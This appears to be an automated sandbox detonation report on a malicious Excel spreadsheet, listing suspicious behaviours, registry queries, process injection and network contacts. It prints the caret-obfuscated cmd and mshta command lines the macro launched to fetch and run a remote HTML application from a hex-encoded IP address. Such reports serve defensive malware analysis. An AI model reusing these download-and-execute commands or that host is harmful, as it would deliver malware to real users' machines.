Analysis Overview
SHA256
3fdfa5a3f1a775a9ef22ca81ff29a8881a651d49c1574b3eb417e50c97f9b829
Threat Level: Known bad
The file 3fdfa5a3f1a775a9ef22ca81ff29a8881a651d49c1574b3eb417e50c97f9b829 was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
Blocklisted process makes network request
Suspicious Office macro
System Location Discovery: System Language Discovery
Suspicious use of WriteProcessMemory
Checks processor information in registry
Enumerates system info in registry
Modifies Internet Explorer settings
Suspicious behavior: AddClipboardFormatListener
Suspicious use of SetWindowsHookEx
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-11 17:19
Signatures
Suspicious Office macro
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-11 17:19
Reported
2024-11-11 17:22
Platform
win7-20240903-en
Max time kernel
120s
Max time network
121s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main | C:\Windows\SysWOW64\mshta.exe | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 328 wrote to memory of 2080 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\cmd.exe |
| PID 328 wrote to memory of 2080 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\cmd.exe |
| PID 328 wrote to memory of 2080 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\cmd.exe |
| PID 328 wrote to memory of 2080 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\cmd.exe |
| PID 2080 wrote to memory of 2132 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\mshta.exe |
| PID 2080 wrote to memory of 2132 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\mshta.exe |
| PID 2080 wrote to memory of 2132 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\mshta.exe |
| PID 2080 wrote to memory of 2132 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\mshta.exe |
Processes
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\3fdfa5a3f1a775a9ef22ca81ff29a8881a651d49c1574b3eb417e50c97f9b829.xls
C:\Windows\SysWOW64\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
C:\Windows\SysWOW64\mshta.exe
mshta http://0xb907d607/fer/fe2.html
Network
| Country | Destination | Domain | Proto |
| RU | 185.7.214.7:80 | tcp | |
| RU | 185.7.214.7:80 | tcp |
Files
memory/328-0-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/328-1-0x000000007241D000-0x0000000072428000-memory.dmp
memory/328-2-0x000000007241D000-0x0000000072428000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-11 17:19
Reported
2024-11-11 17:22
Platform
win10v2004-20241007-en
Max time kernel
133s
Max time network
139s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\mshta.exe | N/A |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 3024 wrote to memory of 3128 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\SYSTEM32\cmd.exe |
| PID 3024 wrote to memory of 3128 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\SYSTEM32\cmd.exe |
| PID 3128 wrote to memory of 1984 | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Windows\system32\mshta.exe |
| PID 3128 wrote to memory of 1984 | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Windows\system32\mshta.exe |
Processes
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\3fdfa5a3f1a775a9ef22ca81ff29a8881a651d49c1574b3eb417e50c97f9b829.xls"
C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
C:\Windows\system32\mshta.exe
mshta http://0xb907d607/fer/fe2.html
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 196.249.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 106.208.201.84.in-addr.arpa | udp |
| US | 8.8.8.8:53 | roaming.officeapps.live.com | udp |
| IE | 52.109.76.243:443 | roaming.officeapps.live.com | tcp |
| RU | 185.7.214.7:80 | tcp | |
| US | 8.8.8.8:53 | 243.76.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 0.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 91.65.42.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 58.55.71.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 56.163.245.4.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.39.242.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 98.117.19.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 29.243.111.52.in-addr.arpa | udp |
Files
memory/3024-3-0x00007FFE4E96D000-0x00007FFE4E96E000-memory.dmp
memory/3024-2-0x00007FFE0E950000-0x00007FFE0E960000-memory.dmp
memory/3024-1-0x00007FFE0E950000-0x00007FFE0E960000-memory.dmp
memory/3024-0-0x00007FFE0E950000-0x00007FFE0E960000-memory.dmp
memory/3024-6-0x00007FFE4E8D0000-0x00007FFE4EAC5000-memory.dmp
memory/3024-5-0x00007FFE0E950000-0x00007FFE0E960000-memory.dmp
memory/3024-4-0x00007FFE4E8D0000-0x00007FFE4EAC5000-memory.dmp
memory/3024-8-0x00007FFE0E950000-0x00007FFE0E960000-memory.dmp
memory/3024-11-0x00007FFE4E8D0000-0x00007FFE4EAC5000-memory.dmp
memory/3024-7-0x00007FFE4E8D0000-0x00007FFE4EAC5000-memory.dmp
memory/3024-10-0x00007FFE4E8D0000-0x00007FFE4EAC5000-memory.dmp
memory/3024-13-0x00007FFE4E8D0000-0x00007FFE4EAC5000-memory.dmp
memory/3024-14-0x00007FFE0C820000-0x00007FFE0C830000-memory.dmp
memory/3024-12-0x00007FFE4E8D0000-0x00007FFE4EAC5000-memory.dmp
memory/3024-15-0x00007FFE4E8D0000-0x00007FFE4EAC5000-memory.dmp
memory/3024-17-0x00007FFE4E8D0000-0x00007FFE4EAC5000-memory.dmp
memory/3024-18-0x00007FFE0C820000-0x00007FFE0C830000-memory.dmp
memory/3024-16-0x00007FFE4E8D0000-0x00007FFE4EAC5000-memory.dmp
memory/3024-9-0x00007FFE4E8D0000-0x00007FFE4EAC5000-memory.dmp
memory/3024-29-0x00007FFE4E8D0000-0x00007FFE4EAC5000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
| MD5 | 957f6e4bb5d6bde93a4da9c20e4f53d6 |
| SHA1 | f84c34a58edf19357775b93d21d7b2fbe2d34a9f |
| SHA256 | 7be898343017dd9fcc705057bb0e33e4599e240271e68df34dfe5687356460de |
| SHA512 | 483a14a27cee574b9b5995a4adfb72d1224bad055e2e1d9a35a253d9c8924b502ea5f22b1cd7dba0a7109f0e511b9112c948fc73b73afafadd0b1699d26aa6a6 |